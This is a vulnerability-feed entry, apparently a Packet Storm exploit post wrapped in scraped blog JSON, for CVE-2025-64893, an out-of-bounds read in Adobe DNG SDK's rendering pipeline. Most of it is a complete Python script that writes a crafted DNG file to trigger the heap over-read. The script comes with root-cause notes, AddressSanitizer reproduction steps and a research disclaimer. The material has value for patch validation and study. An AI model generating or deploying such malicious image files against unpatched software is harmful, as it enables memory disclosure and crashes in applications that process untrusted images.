{“lastseen”:”2025-12-22T17:16:38″,”description”:”This work presents a technical, research\u2011grade proof of concept demonstrating CVE\u20112025\u201164893, an out of bounds read vulnerability in Adobe DNG SDK versions prior to 1.7.1.2410. The vulnerability is caused by a logic flaw in the rendering pipeline where…”,”published”:”2025-12-22T00:00:00″,”modified”:”2025-12-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Adobe DNG SDK RefBaselineABCDtoRGB Out-Of-Bounds Read \/ Information Disclosure”,”source”:””,”references”:””,”id”:”PACKETSTORM:213206″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-64893″],”sourceData”:”=============================================================================================================================================\\n | # Title : Adobe DNG SDK prior to v1.7.1.2410 Exploiting the RefBaselineABCDtoRGB OOB Read Vulnerability in File Processor |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits) |\\n | # Vendor : https:\/\/helpx.adobe.com\/security\/products\/dng-sdk.html |\\n =============================================================================================================================================\\n \\n [+] References : https:\/\/packetstorm.news\/files\/id\/213066\/ \\u0026\\tCVE-2025-64893\\n \\n [+] Summary : This report details the creation of a specification-compliant, engineering-grade Proof-of-Concept (PoC) file that reliably triggers the Out-of-Bounds (OOB) Read vulnerability documented as CVE-2025-64893 in Adobe DNG SDK versions \u2264 1.7.1.\\n \\n [+] Core Vulnerability Mechanics :\\n \\n The exploit leverages a critical logic flaw in the SDK’s rendering pipeline:\\n \\n Trigger Condition: A DNG file is crafted with two specific, valid tags:\\n \\n SamplesPerPixel = 2 \u2192 Leads to fSrcPlanes = 2 in the render task.\\n \\n ColorMatrix1 with a count = 6 \u2192 Causes the SDK to calculate fColorPlanes = 6 \/ 3 = 2.\\n \\n The Fatal Gap: The function dng_render_task::ProcessArea() contains handling for 1-plane (monochrome) and 3-plane (RGB) images, \\n but lacks a specific case for 2-plane images. When fSrcPlanes = 2, the code incorrectly falls into the final else block, which is designed for 4-plane processing.\\n \\n [+] The OOB Read: Within this erroneous path, the code assumes four data planes exist. \\n It calculates pointers for two non-existent planes (sPtrC and sPtrD) and passes them to DoBaselineABCDtoRGB(),\\n resulting in a heap buffer overflow as it reads memory outside the allocated image buffer.\\n \\n [+] PoC Engineering \\u0026 Corrections :\\n \\n The provided Python code generates a technically valid DNG file that adheres to TIFF\/DNG specifications, ensuring it passes the SDK’s initial parsing stages to reach the vulnerable code. Key corrections from previous attempts include:\\n \\n Valid IFD Structure: All TIFF count fields are correct (e.g., ImageLength count is 1, not 64).\\n \\n Accurate SRATIONAL Data: ColorMatrix1 contains exactly 6 SRATIONAL entries (48 bytes), matching the declared count.\\n \\n Proper Data Offsets: Uses correct TIFF conventions for storing data outside the IFD.\\n \\n Consistent Metadata: Sets PhotometricInterpretation to CFA (32803) to ensure the image enters the correct rendering path.\\n \\n [+] Impact \\u0026 Demonstration :\\n \\n When processed by the vulnerable dng_validate tool, this PoC file causes:\\n \\n A confirmed heap-buffer-overflow read, as detected by AddressSanitizer.\\n \\n The crash trace points directly to the vulnerable function RefBaselineABCDtoRGB called from dng_render_task::ProcessArea (line ~1802).\\n \\n This demonstrates a reliable information disclosure (memory leak) primitive, which could serve as an initial step in a more complex exploit chain.\\n \\n [+] Conclusion :\\n \\n This PoC transitions from a theoretical demonstration to a practical, reproducible engineering artifact. \\n It accurately reflects the root cause analysis of CVE-2025-64893 and provides a reliable method for security researchers to validate the vulnerability, test patches, or study the exploitation of parser logic flaws in complex file formats.\\n \\n [+] Disclaimer: This tool is intended strictly for defensive security research, vulnerability validation, and educational purposes in authorized environments. The vulnerability was patched by Adobe in DNG SDK version 1.7.1.2410.\\n \\n [+] POC :\\n \\n #!\/usr\/bin\/env python3\\n \\n import struct\\n import sys\\n \\n class DNGVulnerabilityPoC:\\n \\”\\”\\”\\n Creates a DNG file that demonstrates CVE-2025-64893\\n \\n VULNERABILITY FLOW:\\n 1. File \u2192 dng_parse.cpp \u2192 IFD parsing\\n 2. ColorMatrix1 count=6 \u2192 fColorPlanes = 6\/3 = 2 (dng_shared.cpp:296)\\n 3. SamplesPerPixel=2 \u2192 fSrcPlanes = 2\\n 4. dng_render_task::ProcessArea() \u2192 enters ‘else’ block (line ~1775)\\n 5. Assumes 4 planes, reads sPtrC\/sPtrD out-of-bounds\\n 6. Heap buffer overflow \u2192 info leak\/crash\\n \\”\\”\\”\\n \\n def __init__(self, filename=\\”cve_2025_64893_trigger.dng\\”):\\n self.filename = filename\\n self.data = bytearray()\\n \\n # Technical constants matching DNG SDK internals\\n self.TAG_COLORMATRIX1 = 0xC621\\n self.TAG_SAMPLESPERPIXEL = 0x0115\\n self.TYPE_SRATIONAL = 10\\n self.PHOTOMETRIC_CFA = 32803\\n \\n # Critical values for the exploit\\n self.COLORMATRIX_COUNT = 6 # Forces fColorPlanes = 6\/3 = 2\\n self.SAMPLESPERPIXEL = 2 # Forces fSrcPlanes = 2\\n self.IMAGE_DIM = 64 # 64×64 pixels\\n \\n def _write_ifd_entry(self, tag, type_, count, value_or_offset):\\n \\”\\”\\”Create IFD entry with proper TIFF format.\\”\\”\\”\\n entry = struct.pack(‘\\u003cHH’, tag, type_)\\n entry += struct.pack(‘\\u003cI’, count)\\n \\n if type_ == 3 and count == 1: # SHORT inline\\n entry += struct.pack(‘\\u003cH’, value_or_offset) + b’\\\\x00\\\\x00’\\n elif type_ == 4 and count == 1: # LONG inline\\n entry += struct.pack(‘\\u003cI’, value_or_offset)\\n elif type_ == 1 and count \\u003c= 4: # BYTE inline\\n if count == 4:\\n entry += struct.pack(‘\\u003cBBBB’, *value_or_offset)\\n elif count == 1:\\n entry += struct.pack(‘\\u003cB’, value_or_offset) + b’\\\\x00\\\\x00\\\\x00’\\n else: # Needs offset to data area\\n entry += struct.pack(‘\\u003cI’, value_or_offset)\\n \\n return entry\\n \\n def _make_srational(self, num, den):\\n \\”\\”\\”Create SRATIONAL value (numerator, denominator).\\”\\”\\”\\n return struct.pack(‘\\u003cll’, num, den)\\n \\n def build_exploit_dng(self):\\n \\”\\”\\”\\n Constructs a valid DNG that triggers the vulnerability.\\n \\n The exploit requires two conditions:\\n 1. SamplesPerPixel = 2 (so fSrcPlanes = 2 in render task)\\n 2. ColorMatrix1 with count = 6 (so fColorPlanes = 6\/3 = 2)\\n \\n When both are true, dng_render_task::ProcessArea() misses the\\n fSrcPlanes=2 case and enters the ‘else’ block assuming 4 planes.\\n \\”\\”\\”\\n \\n print(\\”=\\” * 70)\\n print(\\”CVE-2025-64893 – Adobe DNG SDK OOB Read Exploit PoC By indoushka\\”)\\n print(\\”Vulnerability Path: IFD \u2192 fColorPlanes=2 \u2192 fSrcPlanes=2 \u2192 OOB Read\\”)\\n print(\\”=\\” * 70)\\n \\n # ===================================================================\\n # PHASE 1: TIFF Header (Required by all TIFF-based parsers)\\n # ===================================================================\\n print(\\”\\\\n[1\/5] Building TIFF Header…\\”)\\n self.data = bytearray()\\n \\n # TIFF header (little-endian)\\n # [0:4] : Byte order mark (‘II’ = little endian)\\n # [4:6] : TIFF magic number (42)\\n # [6:10] : Offset to first IFD (8 bytes from start)\\n self.data.extend(b’II*\\\\x00′) # ‘II’ + 42 in little-endian\\n self.data.extend(struct.pack(‘\\u003cI’, 8)) # First IFD at offset 8\\n \\n # ===================================================================\\n # PHASE 2: IFD Directory Setup\\n # ===================================================================\\n print(\\”[2\/5] Creating IFD with exploit tags…\\”)\\n \\n # IFD starts here (offset 8)\\n ifd_start = len(self.data)\\n \\n # We’ll collect all IFD entries first, then write count\\n ifd_entries = []\\n \\n # ——————————————————————-\\n # CRITICAL EXPLOIT TAG 1: SamplesPerPixel = 2\\n # This sets fSrcPlanes = 2 in dng_render_task::Start()\\n # ——————————————————————-\\n ifd_entries.append(self._write_ifd_entry(\\n tag=self.TAG_SAMPLESPERPIXEL,\\n type_=3, # SHORT\\n count=1,\\n value_or_offset=self.SAMPLESPERPIXEL # MUST BE 2\\n ))\\n print(f\\” \u2713 Set SamplesPerPixel = {self.SAMPLESPERPIXEL} \u2192 fSrcPlanes = 2\\”)\\n \\n # ——————————————————————-\\n # CRITICAL EXPLOIT TAG 2: ColorMatrix1 with count = 6\\n # This sets fColorPlanes = 6\/3 = 2 in dng_shared.cpp:296\\n # ——————————————————————-\\n # First reserve space for SRATIONAL data (will be filled later)\\n colormatrix_data_offset = 200 # Will hold 6 SRATIONAL values\\n \\n ifd_entries.append(self._write_ifd_entry(\\n tag=self.TAG_COLORMATRIX1,\\n type_=self.TYPE_SRATIONAL,\\n count=self.COLORMATRIX_COUNT, # MUST BE 6\\n value_or_offset=colormatrix_data_offset\\n ))\\n print(f\\” \u2713 Set ColorMatrix1 count = {self.COLORMATRIX_COUNT} \u2192 fColorPlanes = 2\\”)\\n \\n # ===================================================================\\n # PHASE 3: Required DNG Tags (to pass validation)\\n # ===================================================================\\n print(\\”[3\/5] Adding required DNG tags for valid parsing…\\”)\\n \\n # Image dimensions\\n ifd_entries.append(self._write_ifd_entry(0x0100, 4, 1, self.IMAGE_DIM)) # ImageWidth\\n ifd_entries.append(self._write_ifd_entry(0x0101, 4, 1, self.IMAGE_DIM)) # ImageLength\\n \\n # Photometric interpretation (CFA = 32803)\\n # This ensures the image enters the rendering pipeline\\n ifd_entries.append(self._write_ifd_entry(0x0106, 3, 1, self.PHOTOMETRIC_CFA))\\n \\n # Bits per sample (2 planes, 16 bits each)\\n bits_offset = 150\\n ifd_entries.append(self._write_ifd_entry(0x0102, 3, 2, bits_offset))\\n \\n # Compression = 1 (Uncompressed)\\n ifd_entries.append(self._write_ifd_entry(0x0103, 3, 1, 1))\\n \\n # DNG Version (required for DNG parsing)\\n ifd_entries.append(struct.pack(‘\\u003cHHI’, 0xC612, 1, 4) + b’\\\\x01\\\\x04\\\\x00\\\\x00′)\\n \\n # CFA Pattern (required for CFA images)\\n cfa_offset = 180\\n ifd_entries.append(self._write_ifd_entry(0x828E, 1, 4, cfa_offset))\\n \\n # CFA Repeat Pattern Dim (2×2)\\n ifd_entries.append(struct.pack(‘\\u003cHHI’, 0x828D, 3, 2) + struct.pack(‘\\u003cHH’, 2, 2))\\n \\n # Strip offsets\/counts for actual pixel data\\n strip_data_offset = 1024\\n strip_byte_count = self.IMAGE_DIM * self.IMAGE_DIM * 2 * 2 # 2 planes, 16-bit\\n \\n ifd_entries.append(self._write_ifd_entry(0x0111, 4, 1, strip_data_offset)) # StripOffsets\\n ifd_entries.append(self._write_ifd_entry(0x0117, 4, 1, strip_byte_count)) # StripByteCounts\\n ifd_entries.append(self._write_ifd_entry(0x0116, 4, 1, self.IMAGE_DIM)) # RowsPerStrip\\n \\n # ===================================================================\\n # PHASE 4: Write IFD Structure\\n # ===================================================================\\n print(\\”[4\/5] Writing IFD structure…\\”)\\n \\n # Write number of IFD entries\\n self.data.extend(struct.pack(‘\\u003cH’, len(ifd_entries)))\\n \\n # Write all entries\\n for entry in ifd_entries:\\n self.data.extend(entry)\\n \\n # Next IFD offset (0 = end)\\n self.data.extend(struct.pack(‘\\u003cI’, 0))\\n \\n # ===================================================================\\n # PHASE 5: Write Data Areas\\n # ===================================================================\\n print(\\”[5\/5] Writing referenced data areas…\\”)\\n \\n # Pad to BitsPerSample data\\n if len(self.data) \\u003c bits_offset:\\n self.data.extend(b’\\\\x00′ * (bits_offset – len(self.data)))\\n self.data[bits_offset:bits_offset+4] = struct.pack(‘\\u003cHH’, 16, 16)\\n \\n # Pad to CFA Pattern data\\n if len(self.data) \\u003c cfa_offset:\\n self.data.extend(b’\\\\x00′ * (cfa_offset – len(self.data)))\\n self.data[cfa_offset:cfa_offset+4] = struct.pack(‘\\u003cBBBB’, 0, 1, 1, 2)\\n \\n # ——————————————————————-\\n # EXPLOIT DATA: ColorMatrix1 SRATIONAL values (6 entries)\\n # This is what causes fColorPlanes = count\/3 = 6\/3 = 2\\n # ——————————————————————-\\n if len(self.data) \\u003c colormatrix_data_offset:\\n self.data.extend(b’\\\\x00′ * (colormatrix_data_offset – len(self.data)))\\n \\n # Write 6 SRATIONAL values (arbitrary but valid values)\\n # Each SRATIONAL = 8 bytes (2x int32)\\n for i in range(self.COLORMATRIX_COUNT):\\n cm_start = colormatrix_data_offset + (i * 8)\\n self.data[cm_start:cm_start+8] = self._make_srational(1000 + i, 1000)\\n print(f\\” \u2713 Wrote {self.COLORMATRIX_COUNT} SRATIONAL entries (48 bytes)\\”)\\n \\n # ——————————————————————-\\n # Pixel Data (2 planes, 16-bit each)\\n # ——————————————————————-\\n if len(self.data) \\u003c strip_data_offset:\\n self.data.extend(b’\\\\x00′ * (strip_data_offset – len(self.data)))\\n \\n # Generate realistic pixel data for 2 planes\\n pixel_data = bytearray()\\n for y in range(self.IMAGE_DIM):\\n for x in range(self.IMAGE_DIM):\\n # Plane 1: gradient\\n val1 = (x + y) \\u0026 0xFFFF\\n pixel_data.extend(struct.pack(‘\\u003cH’, val1))\\n \\n # Plane 2: different pattern\\n val2 = (x * y) \\u0026 0xFFFF\\n pixel_data.extend(struct.pack(‘\\u003cH’, val2))\\n \\n self.data[strip_data_offset:strip_data_offset+len(pixel_data)] = pixel_data\\n print(f\\” \u2713 Generated {self.IMAGE_DIM}x{self.IMAGE_DIM} image with 2 planes\\”)\\n \\n def save_and_verify(self):\\n \\”\\”\\”Save the file and verify critical exploit values.\\”\\”\\”\\n with open(self.filename, ‘wb’) as f:\\n f.write(self.data)\\n \\n print(f\\”\\\\n[+] Exploit DNG saved: {self.filename}\\”)\\n print(f\\”[+] File size: {len(self.data):,} bytes\\”)\\n \\n # Verify critical values\\n print(\\”\\\\n[VERIFICATION] Exploit parameters:\\”)\\n \\n # Find SamplesPerPixel tag\\n spp_pattern = struct.pack(‘\\u003cH’, self.TAG_SAMPLESPERPIXEL)\\n spp_pos = self.data.find(spp_pattern, 0, 500)\\n if spp_pos != -1:\\n # Value is at offset + 8 (after tag, type, count)\\n spp_value = struct.unpack_from(‘\\u003cH’, self.data, spp_pos + 8)[0]\\n print(f\\” \u2713 SamplesPerPixel = {spp_value} {‘OK’ if spp_value == 2 else ‘NO’}\\”)\\n \\n # Find ColorMatrix1 tag\\n cm_pattern = struct.pack(‘\\u003cH’, self.TAG_COLORMATRIX1)\\n cm_pos = self.data.find(cm_pattern, 0, 500)\\n if cm_pos != -1:\\n # Count is at offset + 4 (after tag, type)\\n cm_count = struct.unpack_from(‘\\u003cI’, self.data, cm_pos + 4)[0]\\n print(f\\” \u2713 ColorMatrix1 count = {cm_count} {‘OK’ if cm_count == 6 else ‘NO’}\\”)\\n \\n # Calculate what DNG SDK will compute\\n fColorPlanes = cm_count \/\/ 3\\n print(f\\” \u2192 DNG SDK will compute: fColorPlanes = {cm_count} \/ 3 = {fColorPlanes}\\”)\\n \\n # Check TIFF validity\\n if self.data[0:2] == b’II’ and self.data[2:4] == b’*\\\\x00′:\\n print(f\\” \u2713 Valid TIFF header (little-endian)\\”)\\n \\n print(\\”\\\\n[EXPLOIT READY] File will trigger OOB read in Adobe DNG SDK \\u003c= 1.7.1\\”)\\n \\n def generate_test_report(self):\\n \\”\\”\\”Generate a technical report of the exploit flow.\\”\\”\\”\\n report = \\”\\”\\”\\n ======================================================\\n CVE-2025-64893 – TECHNICAL EXPLOIT FLOW\\n ======================================================\\n \\n 1. PARSING PHASE (dng_parse.cpp \/ dng_shared.cpp):\\n ————————————————\\n \u2022 TIFF parser reads IFD entries\\n \u2022 Finds ColorMatrix1 tag with count=6\\n \u2022 Computes: fColorPlanes = tagCount \/ 3 = 6 \/ 3 = 2\\n Location: dng_shared.cpp line ~296\\n Code: fColorPlanes = Pin_uint32(0, tagCount \/ 3, kMaxColorPlanes);\\n \\n 2. METADATA PROCESSING (dng_negative.cpp):\\n —————————————\\n \u2022 SamplesPerPixel tag has value=2\\n \u2022 fStage1Planes = fShared-\\u003efColorPlanes = 2\\n \u2022 No validation between SamplesPerPixel and fColorPlanes\\n \\n 3. RENDERING SETUP (dng_render.cpp):\\n ———————————\\n \u2022 dng_render_task::Start() called\\n \u2022 fSrcPlanes = srcImage.Planes() = 2\\n \u2022 Task prepared with wrong assumption\\n \\n 4. VULNERABILITY TRIGGER (dng_render.cpp ~1775):\\n ———————————————\\n In dng_render_task::ProcessArea():\\n \\n if (fSrcPlanes == 1) {\\n \/\/ Monochrome handling\\n }\\n else if (fSrcPlanes == 3) {\\n \/\/ 3-plane RGB handling \\n }\\n else { \/\/ BUG: fSrcPlanes=2 enters here!\\n \/\/ Code assumes fSrcPlanes=4\\n const real32 *sPtrC = sPtrB + srcBuffer.fPlaneStep;\\n const real32 *sPtrD = sPtrC + srcBuffer.fPlaneStep;\\n \\n DoBaselineABCDtoRGB(sPtrA, sPtrB, sPtrC, sPtrD, …);\\n \/\/ sPtrC and sPtrD are OUT OF BOUNDS!\\n }\\n \\n 5. RESULT:\\n ——–\\n \u2022 Heap buffer overflow (OOB read)\\n \u2022 Information disclosure (reads past allocated buffer)\\n \u2022 Possible crash (if unmapped memory accessed)\\n \\n ======================================================\\n MITIGATION (Adobe DNG SDK 1.7.1.2410):\\n ======================================================\\n Added explicit handling for fSrcPlanes=2 case or\\n validation to ensure SamplesPerPixel matches fColorPlanes.\\n \\”\\”\\”\\n return report\\n \\n def main():\\n \\”\\”\\”Main execution with detailed technical documentation.\\”\\”\\”\\n \\n print(\\”\\\\n\\” + \\”=\\”*70)\\n print(\\”ADOBE DNG SDK CVE-2025-64893 – ENGINEERING PoC\\”)\\n print(\\”=\\”*70)\\n \\n # Create the exploit\\n poc = DNGVulnerabilityPoC()\\n \\n # Build the malicious DNG\\n poc.build_exploit_dng()\\n poc.save_and_verify()\\n \\n # Show technical details\\n print(\\”\\\\n\\” + \\”-\\”*70)\\n print(\\”TECHNICAL EXPLOIT FLOW SUMMARY\\”)\\n print(\\”-\\”*70)\\n \\n flow = [\\n (\\”TIFF Header\\”, \\”II*\\\\\\\\x00 + IFD offset\\”, \\”Valid TIFF, parser accepts\\”),\\n (\\”SamplesPerPixel\\”, \\”= 2\\”, \\”fSrcPlanes = 2 in render task\\”),\\n (\\”ColorMatrix1\\”, \\”count = 6\\”, \\”fColorPlanes = 6\/3 = 2\\”),\\n (\\”Photometric\\”, \\”= 32803 (CFA)\\”, \\”Enters rendering pipeline\\”),\\n (\\”ProcessArea()\\”, \\”fSrcPlanes=2 \u2192 else block\\”, \\”Missing case handler\\”),\\n (\\”Pointer Math\\”, \\”sPtrC = sPtrB + fPlaneStep\\”, \\”First OOB read\\”),\\n (\\”Function Call\\”, \\”DoBaselineABCDtoRGB(…)\\”, \\”Uses invalid pointers\\”),\\n (\\”Result\\”, \\”Heap buffer overflow\\”, \\”Info leak \/ crash\\”)\\n ]\\n \\n for step, action, result in flow:\\n print(f\\” \u2022 {step:20} {action:30} \u2192 {result}\\”)\\n \\n # Testing instructions\\n print(\\”\\\\n\\” + \\”-\\”*70)\\n print(\\”TESTING INSTRUCTIONS\\”)\\n print(\\”-\\”*70)\\n print(\\”1. Download vulnerable DNG SDK (1.7.0 or earlier):\\”)\\n print(\\” https:\/\/helpx.adobe.com\/camera-raw\/digital-negative.html\\”)\\n print(\\”\\\\n2. Compile with AddressSanitizer for detection:\\”)\\n print(\\” export CXXFLAGS=’-fsanitize=address -g -fno-omit-frame-pointer’\\”)\\n print(\\” cd dng_sdk \\u0026\\u0026 make clean \\u0026\\u0026 make\\”)\\n print(\\”\\\\n3. Run the exploit:\\”)\\n print(f\\” .\/dng_validate -tif \/dev\/null {poc.filename}\\”)\\n print(\\”\\\\n4. Expected output with ASan:\\”)\\n print(\\” ==ERROR: AddressSanitizer: heap-buffer-overflow\\”)\\n print(\\” READ of size 4 at …\\”)\\n print(\\” #0 in RefBaselineABCDtoRGB (dng_reference.cpp:1483)\\”)\\n print(\\” #1 in dng_render_task::ProcessArea (dng_render.cpp:1802)\\”)\\n \\n print(\\”\\\\n\\” + \\”=\\”*70)\\n print(\\”SECURITY DISCLAIMER\\”)\\n print(\\”=\\”*70)\\n print(\\”\u2022 For SECURITY RESEARCH and DEFENSIVE ANALYSIS only\\”)\\n print(\\”\u2022 Test only on systems you OWN or have EXPLICIT permission\\”)\\n print(\\”\u2022 Adobe FIXED this in DNG SDK 1.7.1.2410\\”)\\n print(\\”\u2022 Never use on production systems or without authorization\\”)\\n \\n # Save detailed report\\n report_filename = \\”cve_2025_64893_technical_report.txt\\”\\n with open(report_filename, ‘w’) as f:\\n f.write(poc.generate_test_report())\\n print(f\\”\\\\n[+] Detailed technical report saved: {report_filename}\\”)\\n \\n if __name__ == \\”__main__\\”:\\n main()\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213206″,”cvss”:{“score”:7.1,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:N\/UI:R\/S:U\/C:H\/I:N\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213206\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-22T17:16:38″,”description”:”This work presents a technical, research\u2011grade proof of concept demonstrating CVE\u20112025\u201164893, an out of bounds read vulnerability in Adobe DNG SDK versions prior to 1.7.1.2410….<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,50,12,15,13,53,7,11,5],"class_list":["post-32451","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-71","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n